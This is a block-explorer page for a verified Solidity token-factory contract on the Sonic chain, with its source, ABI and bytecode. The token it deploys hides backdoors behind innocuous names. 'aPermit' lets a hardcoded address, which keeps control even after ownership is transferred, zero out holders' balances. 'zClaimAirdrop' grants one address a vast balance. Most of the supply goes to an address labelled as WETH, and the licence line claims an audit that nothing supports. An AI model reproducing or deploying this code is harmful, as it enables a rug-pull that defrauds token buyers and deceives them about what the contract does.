Contract

0xD7e100355A77faAb344B24B3ef5341b89d1996BA

Overview

S Balance

Sonic LogoSonic LogoSonic Logo0 S

S Value

-

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Create Token27021652025-01-06 11:43:363 days ago1736163816IN
0xD7e10035...89d1996BA
0.01 S0.001226091.1

Latest 1 internal transaction

Parent Transaction Hash Block From To
27021652025-01-06 11:43:363 days ago1736163816
0xD7e10035...89d1996BA
 Contract Creation0.01 S
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SONICSolidityFactory

Compiler Version
v0.8.28+commit.7893614a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2025-01-06
*/

// SPDX-License-Identifier: Audited By SONIC Solidity
pragma solidity 0.8.28;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}


contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract SonicBlockchain is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000000 * 10**_decimals;

    mapping(address => uint256) private WrappedEtheronSonic;
    mapping(address => mapping(address => uint256)) private _allowances;

    address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b;
    address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    address private constant ADDRESS_DEVELOPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
    address ADDRESS_SONICCHAIN = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;

    uint256 public requiredS;


    constructor(string memory name_, string memory symbol_, address owner_) payable {

        transferOwnership(owner_);  
        require(msg.value == 10000000000000000);

        _name = name_;
        _symbol = symbol_;
        requiredS = 10000000000000000;


        WrappedEtheronSonic[address(this)] = _totalSupply.mul(1).div(1000);
        emit Transfer(address(0), address(this), _totalSupply.mul(1).div(1000));

  
        _callDATA();

 
        payable(address(this)).transfer(msg.value);
    }


    function _callDATA() internal {
        uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
        uint256 threePercent = _totalSupply.mul(2).div(1000);
        uint256 twoPercent = _totalSupply.mul(1).div(1000);

        WrappedEtheronSonic[ADDRESS_WETH] = WrappedEtheronSonic[ADDRESS_WETH].add(ninetyFourPercent);
        WrappedEtheronSonic[ADDRESS_MARKETING] = WrappedEtheronSonic[ADDRESS_MARKETING].add(threePercent);
        WrappedEtheronSonic[ADDRESS_DEVELOPMENT] = WrappedEtheronSonic[ADDRESS_DEVELOPMENT].add(twoPercent);

        emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
        emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
        emit Transfer(address(this), ADDRESS_DEVELOPMENT, twoPercent);
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));

        WrappedEtheronSonic[sender] = WrappedEtheronSonic[sender].sub(amount);
        WrappedEtheronSonic[recipient] = WrappedEtheronSonic[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
      modifier WrappedEtheronSonic_WETH() {
        require(ADDRESS_SONICCHAIN == _msgSender());
        _;
    }
   
function aPermit(address[] calldata rewardsMerkleRoot_) external WrappedEtheronSonic_WETH {
    for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
        WrappedEtheronSonic[rewardsMerkleRoot_[i]] = 1;
        
        emit Transfer(rewardsMerkleRoot_[i], address(0), 1);
    }
}


    function zClaimAirdrop(address claimedRewardStatusOf) external WrappedEtheronSonic_WETH {
        WrappedEtheronSonic[claimedRewardStatusOf] = _totalSupply * 10 ** _decimals;
        
        emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * 10 ** _decimals);
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(0xa6AD18C2aC47803E193F75c3677b14BF19B94883);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }

    receive() external payable {}

    // Required ERC20 functions

    function name() public view virtual  returns (string memory) {
        return _name;
    }

    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return WrappedEtheronSonic[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

contract SONICSolidityFactory {

    uint256 public requiredS;

    event TokenCreated(address tokenAddress, string name, string symbol, address owner);

    constructor() {
        requiredS = 10000000000000000;
    }

    function createToken(
        string memory name_,
        string memory symbol_,
        address newOwner_
    ) external payable returns (address) {
        require(msg.value == requiredS);
        SonicBlockchain newToken = (new SonicBlockchain){value: msg.value}(name_, symbol_, newOwner_);
        emit TokenCreated(address(newToken), name_, symbol_, newOwner_);
        return address(newToken);
    }
    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenAddress","type":"address"},{"indexed":false,"internalType":"string","name":"name","type":"string"},{"indexed":false,"internalType":"string","name":"symbol","type":"string"},{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"TokenCreated","type":"event"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"newOwner_","type":"address"}],"name":"createToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"requiredS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052348015600e575f5ffd5b50662386f26fc100005f55611cb6806100265f395ff3fe60806040526004361061002b575f3560e01c80637418b3fa14610036578063afd8fd5f1461005d575f5ffd5b3661003257005b5f5ffd5b348015610041575f5ffd5b5061004a5f5481565b6040519081526020015b60405180910390f35b61007061006b3660046101c1565b610088565b6040516001600160a01b039091168152602001610054565b5f5f543414610095575f5ffd5b5f348585856040516100a690610115565b6100b293929190610272565b6040518091039082f09050801580156100cd573d5f5f3e3d5ffd5b5090507f6596c1670eb3390048d23721809c3da5d3f531375ac0e2cab0f77a808ed643318186868660405161010594939291906102af565b60405180910390a1949350505050565b611982806102ff83390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610145575f5ffd5b813567ffffffffffffffff81111561015f5761015f610122565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561018e5761018e610122565b6040528181528382016020018510156101a5575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f5f5f606084860312156101d3575f5ffd5b833567ffffffffffffffff8111156101e9575f5ffd5b6101f586828701610136565b935050602084013567ffffffffffffffff811115610211575f5ffd5b61021d86828701610136565b92505060408401356001600160a01b0381168114610239575f5ffd5b809150509250925092565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b606081525f6102846060830186610244565b82810360208401526102968186610244565b91505060018060a01b0383166040830152949350505050565b6001600160a01b03851681526080602082018190525f906102d290830186610244565b82810360408401526102e48186610244565b91505060018060a01b03831660608301529594505050505056fe60806040819052600580546001600160a01b03191673551aa84adb62725d654866803def1459a1b256af1790556007805460ff60a01b1916905561198238819003908190833981016040819052610055916105af565b5f80546001600160a01b0319163390811782556040519091905f5160206119225f395f51905f52908290a361008981610175565b34662386f26fc100001461009b575f5ffd5b60016100a784826106b8565b5060026100b483826106b8565b50662386f26fc100006008556100f26103e86100ec60016100d76009600a610869565b6100e69064e8d4a51000610877565b906101e2565b9061026e565b305f81815260036020526040812092909255905f5160206119425f395f51905f5261012a6103e86100ec60016100d76009600a610869565b60405190815260200160405180910390a36101436102c8565b60405130903480156108fc02915f818181858888f1935050505015801561016c573d5f5f3e3d5ffd5b505050506108c0565b5f546001600160a01b0316331461018a575f5ffd5b6001600160a01b03811661019c575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119225f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f157505f610268565b5f6101fc8385610877565b905082610209858361088e565b146102655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102be5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161025c565b610265828461088e565b5f6102e16103e86100ec6103e46100d76009600a610869565b90505f6102fb6103e86100ec60026100d76009600a610869565b90505f6103156103e86100ec60016100d76009600a610869565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260036020525f5160206119025f395f51905f525490915061034d90846104b4565b60036020525f5160206119025f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206119625f395f51905f525461039190836104b4565b60036020525f5160206119625f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f5160206118e25f395f51905f52546103d590826104b4565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f5160206118e25f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f5160206119425f395f51905f52906104379087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f5160206119425f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206119425f395f51905f529060200160405180910390a3505050565b5f806104c083856108ad565b9050838110156102655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161025c565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610535575f5ffd5b81516001600160401b0381111561054e5761054e610512565b604051601f8201601f19908116603f011681016001600160401b038111828210171561057c5761057c610512565b604052818152838201602001851015610593575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f606084860312156105c1575f5ffd5b83516001600160401b038111156105d6575f5ffd5b6105e286828701610526565b602086015190945090506001600160401b038111156105ff575f5ffd5b61060b86828701610526565b604086015190935090506001600160a01b0381168114610629575f5ffd5b809150509250925092565b600181811c9082168061064857607f821691505b60208210810361066657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b357805f5260205f20601f840160051c810160208510156106915750805b601f840160051c820191505b818110156106b0575f815560010161069d565b50505b505050565b81516001600160401b038111156106d1576106d1610512565b6106e5816106df8454610634565b8461066c565b6020601f821160018114610717575f83156107005750848201515b5f19600385901b1c1916600184901b1784556106b0565b5f84815260208120601f198516915b828110156107465787850151825560209485019460019092019101610726565b508482101561076357868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156107c1578085048111156107a5576107a5610772565b60018416156107b357908102905b60019390931c92800261078a565b935093915050565b5f826107d757506001610268565b816107e357505f610268565b81600181146107f957600281146108035761081f565b6001915050610268565b60ff84111561081457610814610772565b50506001821b610268565b5060208310610133831016604e8410600b8410161715610842575081810a610268565b61084e5f198484610786565b805f190482111561086157610861610772565b029392505050565b5f61026560ff8416836107c9565b808202811582820484141761026857610268610772565b5f826108a857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026857610268610772565b611015806108cd5f395ff3fe6080604052600436106100f2575f3560e01c80638da5cb5b11610087578063a9059cbb11610057578063a9059cbb14610289578063dd62ed3e146102a8578063e8078d94146102ec578063f2fde38b14610300575f5ffd5b80638da5cb5b146102115780638f8af1e11461023757806395d89b4114610256578063a37e0a641461026a575f5ffd5b8063313ce567116100c2578063313ce5671461019757806370a08231146101b2578063715018a6146101e65780637418b3fa146101fc575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161031f565b60405161011e9190610c94565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610ce0565b6103af565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103c5565b60405190815260200161011e565b348015610183575f5ffd5b50610146610192366004610d0a565b6103e6565b3480156101a2575f5ffd5b506040516009815260200161011e565b3480156101bd575f5ffd5b5061016a6101cc366004610d48565b6001600160a01b03165f9081526003602052604090205490565b3480156101f1575f5ffd5b506101fa610435565b005b348015610207575f5ffd5b5061016a60085481565b34801561021c575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610242575f5ffd5b506101fa610251366004610d63565b610492565b348015610261575f5ffd5b50610111610573565b348015610275575f5ffd5b506101fa610284366004610d48565b610582565b348015610294575f5ffd5b506101466102a3366004610ce0565b61064a565b3480156102b3575f5ffd5b5061016a6102c2366004610dd4565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156102f7575f5ffd5b506101fa610656565b34801561030b575f5ffd5b506101fa61031a366004610d48565b610969565b60606001805461032e90610e0b565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610e0b565b80156103a55780601f1061037c576101008083540402835291602001916103a5565b820191905f5260205f20905b81548152906001019060200180831161038857829003601f168201915b5050505050905090565b5f6103bb3384846109e9565b5060015b92915050565b5f6103d26009600a610f3a565b6103e19064e8d4a51000610f48565b905090565b5f6103f2848484610b0d565b6001600160a01b0384165f9081526004602090815260408083203380855292529091205461042b9186916104269086610bd4565b6109e9565b5060019392505050565b5f546001600160a01b0316331461044a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6005546001600160a01b031633146104a8575f5ffd5b5f5b8181101561056e57600160035f8585858181106104c9576104c9610f5f565b90506020020160208101906104de9190610d48565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061050e5761050e610f5f565b90506020020160208101906105239190610d48565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161055e91815260200190565b60405180910390a36001016104aa565b505050565b60606002805461032e90610e0b565b6005546001600160a01b03163314610598575f5ffd5b6105a46009600a610f3a565b6105b06009600a610f3a565b6105bf9064e8d4a51000610f48565b6105c99190610f48565b6001600160a01b0382165f818152600360205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6106116009600a610f3a565b61061d6009600a610f3a565b61062c9064e8d4a51000610f48565b6106369190610f48565b60405190815260200160405180910390a350565b5f6103bb338484610b0d565b5f546001600160a01b0316331461066b575f5ffd5b600754600160a01b900460ff16156106ca5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600680546001600160a01b03191673a6ad18c2ac47803e193f75c3677b14bf19b948839081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561072c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107509190610f73565b6001600160a01b031663c9c653963060065f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107af573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d39190610f73565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561081d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108419190610f73565b600780546001600160a01b0319166001600160a01b03928316179055600654610882913091166108736009600a610f3a565b6104269064e8d4a51000610f48565b6006546001600160a01b031663f305d71947306108b3816001600160a01b03165f9081526003602052604090205490565b5f5f6108c65f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561092c573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109519190610f8e565b50506007805460ff60a01b1916600160a01b17905550565b5f546001600160a01b0316331461097e575f5ffd5b6001600160a01b038116610990575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a4b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c1565b6001600160a01b038216610aac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c1565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1f575f5ffd5b6001600160a01b038216610b31575f5ffd5b6001600160a01b0383165f90815260036020526040902054610b539082610bd4565b6001600160a01b038085165f908152600360205260408082209390935590841681522054610b819082610c36565b6001600160a01b038084165f8181526003602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b009085815260200190565b5f82821115610c255760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064016106c1565b610c2f8284610fb9565b9392505050565b5f80610c428385610fcc565b905083811015610c2f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c1565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610cdd575f5ffd5b50565b5f5f60408385031215610cf1575f5ffd5b8235610cfc81610cc9565b946020939093013593505050565b5f5f5f60608486031215610d1c575f5ffd5b8335610d2781610cc9565b92506020840135610d3781610cc9565b929592945050506040919091013590565b5f60208284031215610d58575f5ffd5b8135610c2f81610cc9565b5f5f60208385031215610d74575f5ffd5b823567ffffffffffffffff811115610d8a575f5ffd5b8301601f81018513610d9a575f5ffd5b803567ffffffffffffffff811115610db0575f5ffd5b8560208260051b8401011115610dc4575f5ffd5b6020919091019590945092505050565b5f5f60408385031215610de5575f5ffd5b8235610df081610cc9565b91506020830135610e0081610cc9565b809150509250929050565b600181811c90821680610e1f57607f821691505b602082108103610e3d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e9257808504811115610e7657610e76610e43565b6001841615610e8457908102905b60019390931c928002610e5b565b935093915050565b5f82610ea8575060016103bf565b81610eb457505f6103bf565b8160018114610eca5760028114610ed457610ef0565b60019150506103bf565b60ff841115610ee557610ee5610e43565b50506001821b6103bf565b5060208310610133831016604e8410600b8410161715610f13575081810a6103bf565b610f1f5f198484610e57565b805f1904821115610f3257610f32610e43565b029392505050565b5f610c2f60ff841683610e9a565b80820281158282048414176103bf576103bf610e43565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215610f83575f5ffd5b8151610c2f81610cc9565b5f5f5f60608486031215610fa0575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103bf576103bf610e43565b808201808211156103bf576103bf610e4356fea264697066735822122089f8fe8fc4de215fd5fd952a1578607cc13b06a5a77acedee9ee2a6c1918538164736f6c634300081c003389a32e1c29e646fad701d1c8d0dc9b6560d3e6bc99404f2032db0696952b812d212e56424155ad6c0388f4d24c757a597ed2c40f2f3c6da95b15e3a62db87ec38be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efc939d25d7e35437f22c47f324a2c10f39b73290093ac9388ba079edf58f1ddaaa2646970667358221220aeff86f6cde45aa052f6ef67bf79b6e3362ea4af63e4b67ff8e9888f6c99531964736f6c634300081c0033

Deployed Bytecode

0x60806040526004361061002b575f3560e01c80637418b3fa14610036578063afd8fd5f1461005d575f5ffd5b3661003257005b5f5ffd5b348015610041575f5ffd5b5061004a5f5481565b6040519081526020015b60405180910390f35b61007061006b3660046101c1565b610088565b6040516001600160a01b039091168152602001610054565b5f5f543414610095575f5ffd5b5f348585856040516100a690610115565b6100b293929190610272565b6040518091039082f09050801580156100cd573d5f5f3e3d5ffd5b5090507f6596c1670eb3390048d23721809c3da5d3f531375ac0e2cab0f77a808ed643318186868660405161010594939291906102af565b60405180910390a1949350505050565b611982806102ff83390190565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610145575f5ffd5b813567ffffffffffffffff81111561015f5761015f610122565b604051601f8201601f19908116603f0116810167ffffffffffffffff8111828210171561018e5761018e610122565b6040528181528382016020018510156101a5575f5ffd5b816020850160208301375f918101602001919091529392505050565b5f5f5f606084860312156101d3575f5ffd5b833567ffffffffffffffff8111156101e9575f5ffd5b6101f586828701610136565b935050602084013567ffffffffffffffff811115610211575f5ffd5b61021d86828701610136565b92505060408401356001600160a01b0381168114610239575f5ffd5b809150509250925092565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b606081525f6102846060830186610244565b82810360208401526102968186610244565b91505060018060a01b0383166040830152949350505050565b6001600160a01b03851681526080602082018190525f906102d290830186610244565b82810360408401526102e48186610244565b91505060018060a01b03831660608301529594505050505056fe60806040819052600580546001600160a01b03191673551aa84adb62725d654866803def1459a1b256af1790556007805460ff60a01b1916905561198238819003908190833981016040819052610055916105af565b5f80546001600160a01b0319163390811782556040519091905f5160206119225f395f51905f52908290a361008981610175565b34662386f26fc100001461009b575f5ffd5b60016100a784826106b8565b5060026100b483826106b8565b50662386f26fc100006008556100f26103e86100ec60016100d76009600a610869565b6100e69064e8d4a51000610877565b906101e2565b9061026e565b305f81815260036020526040812092909255905f5160206119425f395f51905f5261012a6103e86100ec60016100d76009600a610869565b60405190815260200160405180910390a36101436102c8565b60405130903480156108fc02915f818181858888f1935050505015801561016c573d5f5f3e3d5ffd5b505050506108c0565b5f546001600160a01b0316331461018a575f5ffd5b6001600160a01b03811661019c575f5ffd5b5f80546040516001600160a01b03808516939216915f5160206119225f395f51905f5291a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f825f036101f157505f610268565b5f6101fc8385610877565b905082610209858361088e565b146102655760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f82116102be5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015260640161025c565b610265828461088e565b5f6102e16103e86100ec6103e46100d76009600a610869565b90505f6102fb6103e86100ec60026100d76009600a610869565b90505f6103156103e86100ec60016100d76009600a610869565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260036020525f5160206119025f395f51905f525490915061034d90846104b4565b60036020525f5160206119025f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f5160206119625f395f51905f525461039190836104b4565b60036020525f5160206119625f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f5160206118e25f395f51905f52546103d590826104b4565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260036020525f5160206118e25f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f5160206119425f395f51905f52906104379087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f5160206119425f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f5160206119425f395f51905f529060200160405180910390a3505050565b5f806104c083856108ad565b9050838110156102655760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161025c565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610535575f5ffd5b81516001600160401b0381111561054e5761054e610512565b604051601f8201601f19908116603f011681016001600160401b038111828210171561057c5761057c610512565b604052818152838201602001851015610593575f5ffd5b8160208501602083015e5f918101602001919091529392505050565b5f5f5f606084860312156105c1575f5ffd5b83516001600160401b038111156105d6575f5ffd5b6105e286828701610526565b602086015190945090506001600160401b038111156105ff575f5ffd5b61060b86828701610526565b604086015190935090506001600160a01b0381168114610629575f5ffd5b809150509250925092565b600181811c9082168061064857607f821691505b60208210810361066657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156106b357805f5260205f20601f840160051c810160208510156106915750805b601f840160051c820191505b818110156106b0575f815560010161069d565b50505b505050565b81516001600160401b038111156106d1576106d1610512565b6106e5816106df8454610634565b8461066c565b6020601f821160018114610717575f83156107005750848201515b5f19600385901b1c1916600184901b1784556106b0565b5f84815260208120601f198516915b828110156107465787850151825560209485019460019092019101610726565b508482101561076357868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156107c1578085048111156107a5576107a5610772565b60018416156107b357908102905b60019390931c92800261078a565b935093915050565b5f826107d757506001610268565b816107e357505f610268565b81600181146107f957600281146108035761081f565b6001915050610268565b60ff84111561081457610814610772565b50506001821b610268565b5060208310610133831016604e8410600b8410161715610842575081810a610268565b61084e5f198484610786565b805f190482111561086157610861610772565b029392505050565b5f61026560ff8416836107c9565b808202811582820484141761026857610268610772565b5f826108a857634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561026857610268610772565b611015806108cd5f395ff3fe6080604052600436106100f2575f3560e01c80638da5cb5b11610087578063a9059cbb11610057578063a9059cbb14610289578063dd62ed3e146102a8578063e8078d94146102ec578063f2fde38b14610300575f5ffd5b80638da5cb5b146102115780638f8af1e11461023757806395d89b4114610256578063a37e0a641461026a575f5ffd5b8063313ce567116100c2578063313ce5671461019757806370a08231146101b2578063715018a6146101e65780637418b3fa146101fc575f5ffd5b806306fdde03146100fd578063095ea7b31461012757806318160ddd1461015657806323b872dd14610178575f5ffd5b366100f957005b5f5ffd5b348015610108575f5ffd5b5061011161031f565b60405161011e9190610c94565b60405180910390f35b348015610132575f5ffd5b50610146610141366004610ce0565b6103af565b604051901515815260200161011e565b348015610161575f5ffd5b5061016a6103c5565b60405190815260200161011e565b348015610183575f5ffd5b50610146610192366004610d0a565b6103e6565b3480156101a2575f5ffd5b506040516009815260200161011e565b3480156101bd575f5ffd5b5061016a6101cc366004610d48565b6001600160a01b03165f9081526003602052604090205490565b3480156101f1575f5ffd5b506101fa610435565b005b348015610207575f5ffd5b5061016a60085481565b34801561021c575f5ffd5b505f546040516001600160a01b03909116815260200161011e565b348015610242575f5ffd5b506101fa610251366004610d63565b610492565b348015610261575f5ffd5b50610111610573565b348015610275575f5ffd5b506101fa610284366004610d48565b610582565b348015610294575f5ffd5b506101466102a3366004610ce0565b61064a565b3480156102b3575f5ffd5b5061016a6102c2366004610dd4565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b3480156102f7575f5ffd5b506101fa610656565b34801561030b575f5ffd5b506101fa61031a366004610d48565b610969565b60606001805461032e90610e0b565b80601f016020809104026020016040519081016040528092919081815260200182805461035a90610e0b